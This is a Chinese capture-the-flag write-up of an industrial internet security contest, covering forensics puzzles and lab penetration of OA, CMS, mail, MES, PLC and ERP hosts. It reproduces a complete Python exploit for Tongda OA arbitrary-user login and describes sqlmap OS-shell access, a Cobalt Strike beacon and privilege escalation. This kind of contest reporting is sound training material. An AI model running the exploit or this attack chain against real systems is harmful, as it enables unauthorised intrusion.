WriteUp-首届中国I²S峰会暨工业互联网安全大赛

admin 2020年12月1日17:44:58评论41 views字数 10091阅读33分38秒阅读模式

WriteUp-首届中国I²S峰会暨工业互联网安全大赛


竞赛时间

2020.10.30 10:00-20:30
2020.10.31 09:00-12:00

竞赛地点

江苏·南通

参赛人员

Web🐶*3+资深测评师*1

竞赛平台


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


可能是我的Mac分辨率太高的原因,看上去是真的别扭...主要是太卡,一个flag需要提交好几次。🙊


竞赛手册

WriteUp-首届中国I²S峰会暨工业互联网安全大赛


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


WriteUp-首届中国I²S峰会暨工业互联网安全大赛

竞赛内容一:等保测评答题记录


由资深等保测评师一人负责,测评部分总分400分,占最终成绩的30%;


测评目录包括:工控安全审计、工控防火墙、上位机、工程师站等。


竞赛主办方给出的测评账号信息,全部为普通用户,只可以读取、查看配置,不可更改配置。


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


Tide安全战队提交的合规性检查答题表


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


WriteUp-首届中国I²S峰会暨工业互联网安全大赛



竞赛内容二:渗透式解题记录

签到题一

打开题目附件后,发现是一个pcap包。里面有Modbus协议和一些常规的网络协议,因为是工控比赛,首先过滤了下Modbus协议看看有没有什么异常流量,根据以往的做题经验,先看看数据包内都包含了Modbus的哪些功能码。根据之前做题写过的脚本分析,Modbus 16功能码只出现了两次,即一次请求一次回复,过滤下Modbus 16功能码,找到flag。


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


主办方好像把平台的正确flag设置错了...导致找到了正确flag反而提交错误,后来主办方才更正了平台flag,再次提交才ok!

签到题二

题目描述:工控安全分析人员在互联网上部署了工控仿真蜜罐,通过蜜罐可抓取并分析互联网上针对工业资产的扫描行为,将存在高危扫描行为的IP加入防火墙黑名单可有效减少工业企业对于互联网的攻击面,分析出日志中针对西门子私有通信协议扫描最多的IP。


之前做过的一个原题,区别在于原题的flag为该IP的域名。


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


因为有以前的做题经验和脚本,直接上脚本分析出出现最多的ip地址,提交错误!然后开始各种改脚本...后面队友问我西门子PLC用的什么协议,直接Ctrl+F搜索S7提交”136.166.90.252“发现是正确答案。


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


下面是渗透攻击题目,先放上一张网络拓扑图。


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


攻击选手:10.100.140.XXX 子网掩码:255.255.255.0
外网应用地址:10.100.141.XXX (141是主办方一段时间后给出的提示,四个Web需要自己去扫描发现)
MES:10.100.142.XXX (Goby扫描发现后确认ip为142.2,只有门户网站服务器和MES之间能通讯,完全懵逼~~)
工控内网:172.16.XXX.XXX


Web1-通达OA 11.3

考点:任意用户登录+任意文件上传+回收站存在flag


通过Goby发现了通达OA的资产,并且扫描出了任意用户登录和某个.php脚本存在SQL注入,利用以下脚本实现任意用户登录。登录OA后发现里面没有包含flag,仔细看题目提示:主机内存在flag。于是开始Getshell,这时到了午饭时间,利用手机上网搜索通达OA Getshell漏洞,下午开赛后拿到了shell。


任意用户登录poc:

@Author         : Sp4ce@Date           : 2020-03-17 23:42:16LastEditors    : Sp4ceLastEditTime   : 2020-08-27 10:21:44@Description    : Challenge Everything.'''import requestsfrom random import choiceimport argparseimport jsonUSER_AGENTS = [    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",    "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",    "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",    "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",    "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",    "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",    "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",    "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",    "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"]headers={}def getV11Session(url):    checkUrl = url+'/general/login_code.php'    try:        headers["User-Agent"] = choice(USER_AGENTS)        res = requests.get(checkUrl,headers=headers)        resText = str(res.text).split('{')        codeUid = resText[-1].replace('}"}', '').replace('rn', '')        getSessUrl = url+'/logincheck_code.php'        res = requests.post(            getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers)        tmp_cookie = res.headers['Set-Cookie']        headers["User-Agent"] = choice(USER_AGENTS)        headers["Cookie"] = tmp_cookie        check_available = requests.get(url + '/general/index.php',headers=headers)        if '用户未登录' not in check_available.text:            if '重新登录' not in check_available.text:                print('[+]Get Available COOKIE:' + tmp_cookie)        else:            print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.')    except:        print('[-]Something Wrong With '+url)def get2017Session(url):    checkUrl = url+'/ispirit/login_code.php'    try:        headers["User-Agent"] = choice(USER_AGENTS)        res = requests.get(checkUrl,headers=headers)        resText = json.loads(res.text)        codeUid = resText['codeuid']        codeScanUrl = url+'/general/login_code_scan.php'        res = requests.post(codeScanUrl, data={'codeuid': codeUid, 'uid': int(            1), 'source': 'pc', 'type': 'confirm', 'username': 'admin'},headers=headers)        resText = json.loads(res.text)        status = resText['status']        if status == str(1):            getCodeUidUrl = url+'/ispirit/login_code_check.php?codeuid='+codeUid            res = requests.get(getCodeUidUrl)            tmp_cookie = res.headers['Set-Cookie']            headers["User-Agent"] = choice(USER_AGENTS)            headers["Cookie"] = tmp_cookie            check_available = requests.get(url + '/general/index.php',headers=headers)            if '用户未登录' not in check_available.text:                if '重新登录' not in check_available.text:                    print('[+]Get Available COOKIE:' + tmp_cookie)            else:                print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.')        else:            print('[-]Something Wrong With '+url  + ' Maybe Not Vulnerable ?')    except:        print('[-]Something Wrong With '+url)if __name__ == "__main__":    parser = argparse.ArgumentParser()    parser.add_argument(        "-v",        "--tdoaversion",        type=int,        choices=[11, 2017],        help="Target TongDa OA Version. e.g: -v 11、-v 2017")    parser.add_argument(        "-url",        "--targeturl",        type=str,        help="Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1"    )    args = parser.parse_args()    url = args.targeturl    if 'http://' not in url:        url = 'http://' + url    if args.tdoaversion == 11:        getV11Session(url)    elif args.tdoaversion == 2017:        get2017Session(url)    else:        parser.print_help()

WriteUp-首届中国I²S峰会暨工业互联网安全大赛


踩坑:冰蝎无法看到回收站内的东西,蚁剑可以!


Web2-门户网站


考点:SQL注入+SQLMap --os-shell+提权+桌面中存在flag


Web是一个DMCMS。
WriteUp-首届中国I²S峰会暨工业互联网安全大赛


同样也是利用午饭时间可以手机上网,搜索了下DMCMS的漏洞,网上并没有可以getshell的漏洞,下午开赛后,在一个搜索框中随便输入,偶然间发现是刻意预留的一个SQL注入漏洞。


WriteUp-首届中国I²S峰会暨工业互联网安全大赛
先上SQLMap,DBA权限,报错中暴露了绝对路径,--os-shell拿到系统shell;

POST /search.php HTTP/1.1Host: 10.100.141.5Content-Length: 40Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36Origin: http://10.100.141.5Content-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://10.100.141.5/products.htmlAccept-Language: zh-CN,zh;q=0.9Connection: closesearchword=111&Submit=%E6%90%9C%E7%B4%A2


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


flag忘记藏在哪里了,忘记截图了...


Web3-WinMail


打开题目后,发现是团队成员之前复现过的一个邮件系统漏洞


因为此漏洞必须要登录,所以需要一个弱口令账号,因为有验证码,一开始手工盲猜,后来发现源码泄露中有测试账号。


源码泄露测试账号:
WriteUp-首届中国I²S峰会暨工业互联网安全大赛
WriteUp-首届中国I²S峰会暨工业互联网安全大赛


文件上传:
WriteUp-首届中国I²S峰会暨工业互联网安全大赛


找到flag:
WriteUp-首届中国I²S峰会暨工业互联网安全大赛


MES攻击思路


坑点:一开始我们在猜测哪个外网的服务器和MES服务器互通,后来提示有两台外网服务器和MES互通,于是猜测OA或者MAIL服务器,但现实是ERP系统、门户网站和MES互通???


通过门户网站服务器10.100.141.5进行扫描,发现存在10.100.142.2:80的web服务,打开发现是研华WebAccess,之前复现过这个漏洞(Tide安全团队公众号中有漏洞复现文章)。


研华WebAccess存在RCE漏洞。


在10.100.141.5上面搭建CS服务端和客户端,生成Powershell上线命令,利用研华存在RCE漏洞使得MES主机上线。


上线后是administrator权限,直接读密码、3389连接。在回收站中存在一个flag,属于假的flag。我的图片中找到一张图片,base64解码得到flag。


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


踩坑:base64字符串中的小写i看成了大写I。。。


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


ICS3

进入MES服务器后,在桌面上有个文本文档,里面记录了一个3389的用户名和密码,猜测是工控内网区的操作员站3389账号和密码。


在MES服务器上再次上Goby进行资产发现,发现了操作员站IP地址,是一台Win10主机,连接3389后,服务器上安装了一个上位机软件,如图:


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


此变压器重合闸对应一个题目:要求合上重合闸,不需要提交flag,找裁判现场确认、后续提交Writeup即可。但是合闸有密码,题目提示是从这台主机上寻找黑客遗留下的痕迹...


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


寻找遗留的痕迹之思路:


1、桌面发现的“黑客截获的程序文件”文件夹内的BR.st文件;
WriteUp-首届中国I²S峰会暨工业互联网安全大赛


2、主机桌面发现的另一个.st文件:AR.st;
WriteUp-首届中国I²S峰会暨工业互联网安全大赛


第二天想到的思路


3、操作系统日志分析;


4、上位机软件安装路径下的日志分析;


从第4点思路中,两位团队成员好像发现了些有关解题的信息,但是时间已不是很充裕了,发现的信息和合闸需要的密码关系不是太明显,导致这个题没有得到分。


在MES上利用Goby发现资产时,还扫到了一个IP开放了8080端口的Web服务,是一个OpenPLC(开放式PLC)服务(第一次接触...)。如图所示:


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


默认密码:openplc/openplc


进去后也没找到有存储flag。


此时已经是竞赛第一天的晚上,我们把Windows日志、两个.st文件,以及题目的一些描述都截图、保存下来,晚上继续研究。


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


当看到这个题目的提示的时候,思路来了,把两个.st文件上传OpenPLC运行下看看吧~~


但是当时手头又没有OpenPLC的运行环境,于是开始百度搜索安装OpenPLC软件,装了半天没装上...后来直接拉个docker岂不是一键解决???去docker镜像站搜索OpenPLC docker,开始下拉docker,但是考虑网速的问题,酒店网速不差但是也不快,于是直接利用阿里云服务器拉,更快些~~~拉了三四个终于找到一个可以用的...


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


flag is users email address


提交openplc用户的email地址就是正确flag。flag{[email protected]}


外网-ERP


ERP是第四个外网Web系统,也是唯一一个第一天没有拿下来的外网应用。


解题思路:
1、mysql弱口令:root/toor123
2、写shell到/var/www/html
3、提权(脏牛、suid都无法利用,队友找到了一个提权脚本CVE-2015-1328)至root权限,但是root的交互式shell不稳定,老是掉,就需要再次提权,就这样反复提权中...
4、利用locate命令,搜到/root/flag.txt文件。


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


竞赛内容三:工控试验箱答题记录


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


给予时长:90分钟;


题目及题量:


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


这个箱子也走了很多弯路!
1、没有鼠标;
2、超级弱口令工具;
3、对防火墙设备、Web管理等不熟悉;


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


WriteUp-首届中国I²S峰会暨工业互联网安全大赛


最终就做了前两个题,得分:100分;


E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

WriteUp-首届中国I²S峰会暨工业互联网安全大赛

我知道你在看

WriteUp-首届中国I²S峰会暨工业互联网安全大赛
WriteUp-首届中国I²S峰会暨工业互联网安全大赛
WriteUp-首届中国I²S峰会暨工业互联网安全大赛

本文始发于微信公众号(Tide安全团队):WriteUp-首届中国I²S峰会暨工业互联网安全大赛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月1日17:44:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WriteUp-首届中国I²S峰会暨工业互联网安全大赛https://cn-sec.com/archives/194206.html

发表评论

匿名网友 填写信息